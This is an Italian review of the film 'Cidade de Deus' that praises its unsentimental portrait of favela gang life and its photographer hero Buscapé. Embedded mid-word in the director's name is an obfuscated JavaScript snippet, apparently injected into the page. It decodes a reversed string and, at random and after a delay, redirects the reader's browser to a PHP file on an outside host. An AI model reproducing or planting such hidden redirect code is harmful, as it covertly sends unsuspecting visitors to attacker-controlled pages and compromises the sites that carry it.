Città senza Dio

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Cidade de Deus, di Fern (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando Meirelles, Brasile-Usa-Francia 2002

Tratto dall’omonimo romanzo di Paulo Linz (traduzione italiana edita da Einaudi), il film è un ritratto fedele e per nulla retorico della vita di una favela alla periferia di Rio de Janeiro.
La storia racconta, in modo frenetico e a volte nevrotico, le vicende delle giovanissime bande criminali locali, fra pistole, sangue, bambini assassini di bambini, poliziotti distratti, cocaina, musica e trasgressione, senza distinzione di buoni e cattivi.
Pur rischiando di risultare un po’ freddo nella sua mania di voler raccontare tutto, la storia riesce a salvare Buscapé. Bambino della favela forse un po’ più pauroso e ingenuo degli altri all’inizio del film, si rivela pian piano e suo malgrado l’eroe che sopravvive perché si fa da parte, perché rifiuta silenziosamentedi partecipare alla violenza. L’unica arma a sua disposizione diventa una macchina fotografica con la quale riuscirà alla fine a riscattare anche l’assassinio del fratello.

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